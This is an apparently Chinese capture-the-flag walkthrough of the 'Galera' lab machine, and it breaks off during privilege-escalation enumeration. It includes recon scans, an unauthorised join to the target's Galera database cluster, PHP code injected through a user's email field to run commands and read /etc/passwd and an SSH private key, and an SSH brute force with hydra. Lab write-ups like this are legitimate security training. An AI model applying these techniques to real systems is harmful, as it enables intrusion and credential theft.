![\"image-20250619011615276\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345038.png\")
<\/div>\n
![\"image-20250619130840043\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345040.png\")
<\/div><\/p>\n\u4fe1\u606f\u641c\u96c6<\/h2>\n\u76ee\u5f55\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---. .----. .---. .--. .-. .-.\n| {} }| { } |{ {__ {_ _}{ {__ \/ ___} \/ {} \\ | `| |\n| .-. \\| {_} |.-._} } | | .-._} }\\ }\/ \/\\ \\| |\\ |\n`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: http:\/\/discord.skerritt.blog :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nPlease contribute more quotes to our GitHub https:\/\/github.com\/rustscan\/rustscan\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.10.101:22\nOpen 192.168.10.101:80\nOpen 192.168.10.101:4567\n\nPORT STATE SERVICE REASON VERSION\n22\/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)\n| ssh-hostkey: \n| 256 28:50:32:2f:bb:ef:7e:51:c3:59:cb:e6:40:88:0e:4e (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMXjSOeBye5caqfXn\/iyv2x+3UsGpc3mXqjCesy2LF8V3IO7ce89FUeEqoqm7\/lLogTsCeztnv9liPqfJ7plMPY=\n| 256 f3:fa:a1:84:c6:da:fc:09:fe:aa:ca:ec:0a:29:7d:30 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINvTgWnXQRvN24haR+nU8va5KGiTjk6Zk6nC+5uJVZr2\n80\/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))\n|_http-server-header: Apache\/2.4.62 (Debian)\n| http-methods: \n|_ Supported Methods: GET HEAD POST OPTIONS\n|_http-title: Login\n4567\/tcp open tram? syn-ack ttl 64\n| fingerprint-strings: \n| RPCCheck: \n| \\x03\n| TerminalServerCookie: \n|_ (eI!\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\nSF-Port4567-TCP:V=7.95%I=7%D=6\/19%Time=68539B9F%P=x86_64-pc-linux-gnu%r(NU\nSF:LL,2C,"\\$\\0\\0\\x02\\xd9\\"\\x1b\\x08\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\\nSF:x97C;\\xb5%\\xbb~\\x9d\\xef\\x99\\xb2L\\xcb\\x11\\xf0\\x8e\\nK\\xa3\\xd2\\)U\\x7f")%r(\nSF:GetRequest,2C,"\\$\\0\\0\\x02\\x02\\xaa\\xe3\\xa1\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x1\nSF:1\\xf0\\x90\\x97C;\\xb5%\\xbb~\\x9f\\xdb\\xf6\\xf8L\\xcb\\x11\\xf0\\xac\\xfb\\xe6!Z\\x9\nSF:0\\xfeI")%r(GenericLines,2C,"\\$\\0\\0\\x02\\xecN6\\xfd\\0\\x01\\x10\\0A\\x10\/\\x92L\nSF:\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\x9f\\xe02\\xebL\\xcb\\x11\\xf0\\x83\\xf0w\\x04\nSF:\\x82D\\x0c6")%r(HTTPOptions,2C,"\\$\\0\\0\\x02\\xc2\\x87\\x81\\xda\\0\\x01\\x10\\0A\\\nSF:x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xa1\\xf1\/{L\\xcb\\x11\\xf0\\xbb\\xe\nSF:5\\xe6H\\x7f\\x1d\\x9d\\xb6")%r(RTSPRequest,2C,"\\$\\0\\0\\x02\\xac\\xa6v\\xb0\\0\\x0\nSF:1\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xa1\\xf3\\x16\\xa5L\\xcb\nSF:\\x11\\xf0\\xb1\\$\\xe3\\$\\xdf\\x93\\x83@")%r(RPCCheck,2C,"\\$\\0\\0\\x02\\xdc\\x93U8\nSF:\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xa1\\xf5\\+XL\\xcb\nSF:\\x11\\xf0\\xbb\\\\\\x03\\xfav\\x83y2")%r(DNSVersionBindReqTCP,2C,"\\$\\0\\0\\x02\\x\nSF:8b<\\x8f\\xcb\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xa1\\\nSF:xf7G\\\\L\\xcb\\x11\\xf0\\x8a;\\xfb\\)\\xa5\\x96r\\x18")%r(DNSStatusRequestTCP,2C,\nSF:"\\$\\0\\0\\x02P\\$\\xbd\\x20\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5\nSF:%\\xbb~\\xa1\\xf8\\x81\\xb2L\\xcb\\x11\\xf0\\x87\\x9c\\xc3\\x90\\|\\x98\\x91Y")%r(Help\nSF:,2C,"\\$\\0\\0\\x02\\xa4d\\x20t\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\\nSF:xb5%\\xbb~\\xa4\\t\\+-L\\xcb\\x11\\xf0\\x9d\\x14\/qD\\xe5\\*\\x87")%r(SSLSessionReq,\nSF:2C,"\\$\\0\\0\\x02\\xfdB\\xe8`\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\x90\\x97C;\\x\nSF:b5%\\xbb~\\xa6\\x1e\\x84\\x8eL\\xcb\\x11\\xf0\\x9e\\x88\\n\\xf0=\\xa9u\\xca")%r(Termi\nSF:nalServerCookie,2C,"\\$\\0\\0\\x02\\(eI!\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\\\nSF:x90\\x97C;\\xb5%\\xbb~\\xa84\\xabpL\\xcb\\x11\\xf0\\x86\\.>\\x90\\xb3\\x9b\\[\\x81")%r\nSF:(TLSSessionReq,2C,"\\$\\0\\0\\x026\\x93qx\\0\\x01\\x10\\0A\\x10\/\\x92L\\xcb\\x11\\xf0\nSF:\\x90\\x97C;\\xb5%\\xbb~\\xa85\\xbd\\x8dL\\xcb\\x11\\xf0\\x8d\\xd8\\x03\\^\\xb6\\xa0\\xd\nSF:9_")%r(Kerberos,2C,"\\$\\0\\0\\x02\\xdb\\xea\\xff\\xc5\\0\\x01\\x10\\0A\\x10\/\\x92L\\x\nSF:cb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xaaL\\xb8\\xb9L\\xcb\\x11\\xf0\\x81\\xad\\xc6\\xf\nSF:5\\x8b\\(y\\x91")%r(SMBProgNeg,2C,"\\$\\0\\0\\x02\\$g\\x16j\\0\\x01\\x10\\0A\\x10\/\\x9\nSF:2L\\xcb\\x11\\xf0\\x90\\x97C;\\xb5%\\xbb~\\xaaM\\xc4\\xa5L\\xcb\\x11\\xf0\\x8a\\xedS\\x\nSF:88\\x98\\x08\\xb8_");\nMAC Address: 08:00:27:A9:42:C1 (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html,zip\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url: http:\/\/192.168.10.101\/\n[+] Method: GET\n[+] Threads: 10\n[+] Wordlist: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes: 404\n[+] User Agent: gobuster\/3.6\n[+] Extensions: zip,php,txt,html\n[+] Timeout: 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/.php (Status: 403) [Size: 279]\n\/.html (Status: 403) [Size: 279]\n\/index.php (Status: 200) [Size: 825]\n\/login.php (Status: 302) [Size: 0] [--> \/]\n\/info.php (Status: 200) [Size: 77327]\n\/upload (Status: 301) [Size: 317] [--> http:\/\/192.168.10.101\/upload\/]\n\/private.php (Status: 403) [Size: 21]\n\/logout.php (Status: 302) [Size: 0] [--> index.php]\n\/config.php (Status: 200) [Size: 0]\n\/.html (Status: 403) [Size: 279]\n\/.php (Status: 403) [Size: 279]\n\/server-status (Status: 403) [Size: 279]\nProgress: 1102800 \/ 1102805 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n\u8e29\u70b9<\/h3>\n
![\"image-20250619131713908\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/p>\n\u770b\u4e00\u4e0b\u6e90\u4ee3\u7801\uff1a<\/p>\n
<!DOCTYPE html>\n<html lang="en">\n<head>\n <meta charset="UTF-8">\n <meta http-equiv="X-UA-Compatible" content="IE=edge">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n <title>Login<\/title>\n <link rel="stylesheet" href="style.css">\n<\/head>\n<body>\n<div class="container">\n <img src="galera.png" alt="Galera" class="galeraimg" >\n <h1>Login<\/h1>\n <form action="login.php" method="POST">\n <input type="hidden" name="token" value="024d439b4b82e1281893f0f84d9b8136faf1ad23b7d90350c34e0e5b815cdec8">\n <label for="user">Username:<\/label>\n <input type="text" name="user" id="user" required maxlength="50">\n\n <label for="pass">Password:<\/label>\n <input type="password" name="pass" id="pass" required>\n\n <button type="submit">Sign In<\/button>\n <\/form>\n<\/div>\n<\/body>\n<\/html><\/code><\/pre>\n\u654f\u611f\u76ee\u5f55<\/h3>\nhttp:\/\/192.168.10.101\/info.php<\/code><\/pre>\n<\/div>
\n<\/div><\/p>\n\u4f7f\u7528\u5de5\u5177\u68c0\u67e5\u4e00\u4e0b\u662f\u5426\u5b58\u5728\u6f0f\u6d1e\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ git clone https:\/\/github.com\/teambi0s\/dfunc-bypasser.git\nCloning into 'dfunc-bypasser'...\nremote: Enumerating objects: 30, done.\nremote: Total 30 (delta 0), reused 0 (delta 0), pack-reused 30 (from 1)\nReceiving objects: 100% (30\/30), 272.53 KiB | 74.00 KiB\/s, done.\nResolving deltas: 100% (6\/6), done.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ cd dfunc-bypasser \n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera\/dfunc-bypasser]\n\u2514\u2500$ python2 dfunc-bypasser.py --url http:\/\/192.168.10.101\/info.php \n\n ,---, \n .' .' `\\ \n ,---.' \\ \n | | .`\\ | \n : : | ' | \n | ' ' ; : \n ' | ; . | \n | | : | ' \n ' : | \/ ; \n | | '` ,\/ \n ; : .' \n | ,.' \n '---' \n\n authors: __c3rb3ru5__, $_SpyD3r_$\n\nPlease add the following functions in your disable_functions option: \npcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,error_log,system,shell_exec,popen,proc_open,passthru,link,symlink,syslog,ld,mail\nIf PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket<\/code><\/pre>\n\u53d1\u73b0\u4e86\u4e00\u4e9b\u6709\u610f\u601d\u7684\u547d\u4ee4\uff0c\u5148\u4e0d\u7ba1\u3002<\/p>\n
\u654f\u611f\u7aef\u53e3<\/h3>\n
\u6ce8\u610f\u5230\u4e00\u4e2a4567<\/code>\u7aef\u53e3\uff0c\u770b\u4e00\u4e0b\u5565\u4e1c\u897f\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ nc $IP 4567 \n$\ufffd\ufffd\ufffdcA\/\ufffdL\ufffd\ufffdC;\ufffd%\ufffd~\ufffd\ufffd\ufffd\ufffdL\ufffd\ufffdCz\ufffd3LB<\/code><\/pre>\n\u5c1d\u8bd5\u641c\u7d22\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\n\n\u5728 Galera Cluster\uff08\u4e00\u79cd\u7528\u4e8e MySQL\/MariaDB \u7684\u540c\u6b65\u591a\u4e3b\u96c6\u7fa4\u67b6\u6784\uff09\u4e2d\uff0c4567 \u7aef\u53e3\u662f\u96c6\u7fa4\u8282\u70b9\u95f4\u901a\u4fe1\u7684\u6838\u5fc3\u7aef\u53e3<\/strong><\/p>\n4567 \u7aef\u53e3\u662f Galera Cluster \u7684\u201c\u4e2d\u67a2\u795e\u7ecf\u201d<\/strong>\uff0c\u8d1f\u8d23\uff1a
\n\u2705 \u8282\u70b9\u72b6\u6001\u540c\u6b65<\/strong>\uff08\u6210\u5458\u7ba1\u7406\uff09\u3001
\n\u2705 \u6570\u636e\u590d\u5236<\/strong>\uff08\u4e8b\u52a1\u5e7f\u64ad\u4e0e\u51b2\u7a81\u68c0\u6d4b\uff09\u3001
\n\u2705 \u6d41\u91cf\u63a7\u5236<\/strong>\uff08\u9632\u961f\u5217\u6ea2\u51fa\uff09<\/p>\n<\/blockquote>\n\u521b\u5efa\u8282\u70b9\u52a0\u5165\u96c6\u7fa4<\/h3>\n
\u53ef\u4ee5\u5c1d\u8bd5\u52a0\u5165Galera<\/code>\u96c6\u7fa4\u4e2d\uff0c\u641c\u96c6\u4fe1\u606f\uff0c\u5177\u4f53\u6b65\u9aa4\u53c2\u8003https:\/\/mariadb.com\/docs\/galera-cluster\/galera-cluster-quickstart-guides\/mariadb-galera-cluster-guide\uff1a<\/p>\n# sudo apt install rsync\n\n# sudo apt update\n# sudo apt install dirmngr software-properties-common apt-transport-https ca-certificates curl -y\n# curl -LsS https:\/\/r.mariadb.com\/downloads\/mariadb_repo_setup | sudo bash\n# sudo apt update\n\n# sudo apt install mariadb-server mariadb-client galera-4 -y # For MariaDB 10.4+ or later, galera-4 is the provider.\n # For older versions (e.g., 10.3), use galera-3. \n\n# sudo vim \/etc\/mysql\/conf.d\/mysql.cnf\n[mysqld]\n# Basic MariaDB settings\nbinlog_format=ROW\ndefault_storage_engine=InnoDB\ninnodb_autoinc_lock_mode=2\nbind-address=0.0.0.0 # Binds to all network interfaces. Adjust if you have a specific private IP for cluster traffic.\n\nwsrep_sst_method = rsync\n# Galera Provider Configuration\nwsrep_on=ON\nwsrep_provider=\/usr\/lib\/galera\/libgalera_smm.so # Adjust path if different (e.g., \/usr\/lib64\/galera-4\/libgalera_smm.so)\n\n# Galera Cluster Configuration\n# wsrep_cluster_name="my_galera_cluster" # A unique name for your cluster\n\n# IP addresses of ALL nodes in the cluster, comma-separated.\n# Use private IPs if available for cluster communication.\nwsrep_cluster_address="gcomm:\/\/192.168.10.101:4567"\n\n# This node's specific configuration\nwsrep_node_name="kali" # Must be unique for each node (e.g., node1, node2, node3)\nwsrep_node_address="192.168.10.107" # This node's own IP address\n\n# sudo systemctl stop mariadb # Ensure it's stopped\n# sudo galera_new_cluster # This command often wraps the systemctl start --wsrep-new-cluster\n # Alternatively: sudo systemctl start mariadb --wsrep-new-cluster\n\n# sudo systemctl start mariadb<\/code><\/pre>\n\u7136\u540e\u67e5\u770b\u672c\u5730\u6570\u636e\u5e93\uff0c\u53d1\u73b0\u591a\u4e86\u4e1c\u897f\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ sudo mysql -u root -p\n[sudo] password for kali: \nerror: Found option without preceding group in config file: \/etc\/mysql\/conf.d\/mysql.cnf at line: 2\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 21\nServer version: 11.8.1-MariaDB-4 Debian n\/a\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nSupport MariaDB developers by giving a star at https:\/\/github.com\/MariaDB\/server\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> show databases;\n+--------------------+\n| Database |\n+--------------------+\n| galeradb |\n| information_schema |\n| mysql |\n| performance_schema |\n| sys |\n+--------------------+\n5 rows in set (0.001 sec)\n\nMariaDB [(none)]> use galeradb;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [galeradb]> show tables;\n+--------------------+\n| Tables_in_galeradb |\n+--------------------+\n| users |\n+--------------------+\n1 row in set (0.001 sec)\n\nMariaDB [galeradb]> select * from users;\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n| id | username | email | password | created_at |\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n| 1 | admin | admin@galera.hmv | $2y$10$BCAQ6VSNOL9TzfE5\/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq | 2025-05-04 19:55:51 |\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n1 row in set (0.001 sec)<\/code><\/pre>\n\u53d1\u73b0\u57df\u540d\u89e3\u6790galera.hmv<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\uff0c\u4f46\u662f\u4e00\u65f6\u7206\u7834\u4e0d\u51fa\u6765\uff0c\u53d1\u73b0\u52a0\u5bc6\u65b9\u5f0f\u4e3abcrypt<\/code>\uff1a<\/p>\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ hashid '$2y$10$BCAQ6VSNOL9TzfE5\/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq'\nAnalyzing '$2y$10$BCAQ6VSNOL9TzfE5\/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq'\n[+] Blowfish(OpenBSD) \n[+] Woltlab Burning Board 4.x \n[+] bcrypt<\/code><\/pre>\n\u53ef\u4ee5\u5c1d\u8bd5\u6dfb\u52a0\u65b0\u7528\u6237\uff1a<\/p>\n
<\/div><\/p>\n\u5728\u5b98\u65b9\u53c2\u8003\u6587\u732e\uff08\u4e0a\u9762\u5217\u51fa\u6765\u7684\u90a3\u4e2a\uff09\u53ef\u4ee5\u770b\u5230\u6dfb\u52a0\u8868\u7684\u64cd\u4f5c\uff1a<\/p>\n
INSERT INTO users (username, email, password) VALUES ('kali','kali@kali.com','$2a$10$lBkx\/QAR0T75039NmhGDOOlchPIIncXIB6YEWVg\/J5dZc1icsxZZq');\n# \u5982\u679c\u6dfb\u52a0\u9519\u4e86\uff0c\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u5220\u9664\n# DELETE FROM users WHERE username = 'kali';<\/code><\/pre>\n<\/div><\/p>\n\u7136\u540e\u9000\u51fa\uff0c\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\u3002<\/p>\n
<\/div>
\n<\/div><\/p>\nemmmmmm\u3002\u3002\u3002\u3002\u91cd\u542f\u9776\u673a\u4e5f\u4e0d\u80fd\u89e3\u51b3\u95ee\u9898\uff0c\u5c1d\u8bd5\u91cd\u542f\u76f8\u5173\u670d\u52a1\uff1a<\/p>\n
flush privileges;<\/code><\/pre>\n\u7136\u540e\u91cd\u542f\u670d\u52a1\u3002<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ sudo systemctl restart mariadb\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ sudo mysql -u root -p \nerror: Found option without preceding group in config file: \/etc\/mysql\/conf.d\/mysql.cnf at line: 2\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 9\nServer version: 11.8.1-MariaDB-4 Debian n\/a\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nSupport MariaDB developers by giving a star at https:\/\/github.com\/MariaDB\/server\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> use galeradb;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [galeradb]> select * from users;\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n| id | username | email | password | created_at |\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n| 1 | admin | admin@galera.hmv | $2y$10$BCAQ6VSNOL9TzfE5\/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq | 2025-05-04 19:55:51 |\n+----+----------+------------------+--------------------------------------------------------------+---------------------+\n1 row in set (0.003 sec)<\/code><\/pre>\n\u6211\u52d2\u4e2a\u8c46\u8c46\u8c46\u8c46\u8c46\u8c46\u554a\u3002\u3002\u3002\u3002\u3002\u3002\u91cd\u65b0\u6dfb\u52a0\u7528\u6237\u6210\u529f\u8fdb\u5165\uff1a<\/p>\n
<\/div><\/p>\n\u6587\u4ef6\u5305\u542b\u83b7\u53d6\u7528\u6237\u540d<\/h3>\n
\u5c1d\u8bd5\u8fdb\u884c\u6d4b\u8bd5\uff1a<\/p>\n
<\/div><\/p>\n\u53ef\u4ee5\u53d1\u73b0\u672a\u6267\u884c\u547d\u4ee4\uff0c\u5e76\u4e14\u51fa\u73b0\u4e86\u90ae\u7bb1\uff0c\u4e0d\u77e5\u9053\u8fd9\u91cc\u662f\u4e0d\u662f\u4e00\u79cd\u63d0\u793a\uff0c\u5c1d\u8bd5\u5c06\u90ae\u7bb1\u6539\u4e3ashell\uff0c\u8fdb\u884c\u5229\u7528\uff0c\u5e76\u4e14\u7ed3\u5408\u4e0a\u9762disable_function<\/code>\uff1a<\/p>\nMariaDB [galeradb]> UPDATE users SET email="<?php system('whoami'); ?>" WHERE username='kali';\nQuery OK, 1 row affected (0.344 sec)\nRows matched: 1 Changed: 1 Warnings: 0\n\nMariaDB [galeradb]> select * from users;\n+----+----------+----------------------------+--------------------------------------------------------------+---------------------+\n| id | username | email | password | created_at |\n+----+----------+----------------------------+--------------------------------------------------------------+---------------------+\n| 1 | admin | admin@galera.hmv | $2y$10$BCAQ6VSNOL9TzfE5\/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq | 2025-05-04 19:55:51 |\n| 13 | kali | <?php system('whoami'); ?> | $2a$10$lBkx\/QAR0T75039NmhGDOOlchPIIncXIB6YEWVg\/J5dZc1icsxZZq | 2025-06-19 10:00:17 |\n+----+----------+----------------------------+--------------------------------------------------------------+---------------------+\n2 rows in set (0.001 sec)\n\nMariaDB [galeradb]> flush privileges;\nQuery OK, 0 rows affected (0.170 sec)<\/code><\/pre>\n<\/div><\/p>\n\u53d1\u73b0\u5e76\u672a\u6539\u53d8\uff0c\u91cd\u542f\u670d\u52a1\u53d1\u73b0\u786e\u5b9e\u751f\u6548\u4e86\uff0c\u4f46\u662f\u5e76\u672a\u6267\u884c\u547d\u4ee4\uff0c\u56de\u5934\u770b\u4e00\u4e0b\u53d1\u73b0system<\/code>\u88ab\u7981\u7528\u4e86\uff0c\u5c1d\u8bd5\u8fdb\u884c\u6587\u4ef6\u5305\u542b\uff0c\u8fd9\u662f\u5141\u8bb8\u7684\uff1a<\/p>\nUPDATE users SET email='<?php include("\/etc\/passwd"); ?>' WHERE username='kali';<\/code><\/pre>\n\u4f46\u662f\u4e00\u76f4\u65e0\u6cd5\u6267\u884c\u547d\u4ee4\uff0c\u91cd\u65b0\u767b\u5f55\u53d1\u73b0\u90ae\u7bb1\u53d8\u4e86\uff1a<\/p>\n
<\/div><\/p>\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:998:998:systemd Network Management:\/:\/usr\/sbin\/nologin\nmessagebus:x:100:107::\/nonexistent:\/usr\/sbin\/nologin\nsshd:x:101:65534::\/run\/sshd:\/usr\/sbin\/nologin\ndonjuandeaustria:x:1000:1000:donjuandeaustria,,,:\/home\/donjuandeaustria:\/bin\/bash\nmysql:x:102:110:MySQL Server,,,:\/nonexistent:\/bin\/false<\/code><\/pre>\n\u5c1d\u8bd5\u5305\u542b\u5176\u79c1\u94a5\uff1a<\/p>\n
UPDATE users SET email='<?php include("\/home\/donjuandeaustria\/.ssh\/id_rsa"); ?>' WHERE username='kali';\n# Warning: include(\/home\/donjuandeaustria\/.ssh\/id_rsa): Failed to open stream: Permission denied in \/var\/www\/html\/messages.log on line 5\n# Warning: include(): Failed opening '\/home\/donjuandeaustria\/.ssh\/id_rsa' for inclusion (include_path='.:\/usr\/share\/php') in \/var\/www\/html\/messages.log on line 5<\/code><\/pre>\n\u7206\u7834\u5bc6\u7801<\/h3>\n
\u7981\u7528\u7684\u51fd\u6570\u592a\u591a\u4e86\uff0c\u6211\u539f\u4ee5\u4e3a\u6ca1\u7981\u7528\u7684\u51fd\u6570\u90fd\u7981\u7528\u4e86\uff0c\u5c31\u4e0d\u5934\u94c1\u4e86\uff0c\u5c1d\u8bd5\u7206\u7834\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera]\n\u2514\u2500$ hydra -l donjuandeaustria -P \/usr\/share\/wordlists\/rockyou.txt ssh:\/\/$IP:22 \nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2025-06-19 10:48:53\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1\/p:14344399), ~896525 tries per task\n[DATA] attacking ssh:\/\/192.168.10.101:22\/\n[STATUS] 207.00 tries\/min, 207 tries in 00:01h, 14344198 to do in 1154:56h, 10 active\n[22][ssh] host: 192.168.10.101 login: donjuandeaustria password: amorcito\n1 of 1 target successfully completed, 1 valid password found\n[WARNING] Writing restore file because 6 final worker threads did not complete until end.\n[ERROR] 6 targets did not resolve or could not be connected\n[ERROR] 0 target did not complete\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2025-06-19 10:51:38<\/code><\/pre>\n\u83b7\u5f97\u5bc6\u7801amorcito<\/code>\uff1a<\/p>\n<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\ndonjuandeaustria@galera:~$ whoami;id\ndonjuandeaustria\nuid=1000(donjuandeaustria) gid=1000(donjuandeaustria) groups=1000(donjuandeaustria),5(tty),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)\ndonjuandeaustria@galera:~$ ls -la\ntotal 2056\ndrwx------ 2 donjuandeaustria donjuandeaustria 4096 May 8 00:12 .\ndrwxr-xr-x 3 root root 4096 May 4 19:17 ..\nlrwxrwxrwx 1 donjuandeaustria donjuandeaustria 9 May 7 23:04 .bash_history -> \/dev\/null\n-rw-r--r-- 1 donjuandeaustria donjuandeaustria 220 May 4 19:17 .bash_logout\n-rw-r--r-- 1 donjuandeaustria donjuandeaustria 3558 May 7 23:48 .bashrc\n-rw-r----- 1 root tty 2074781 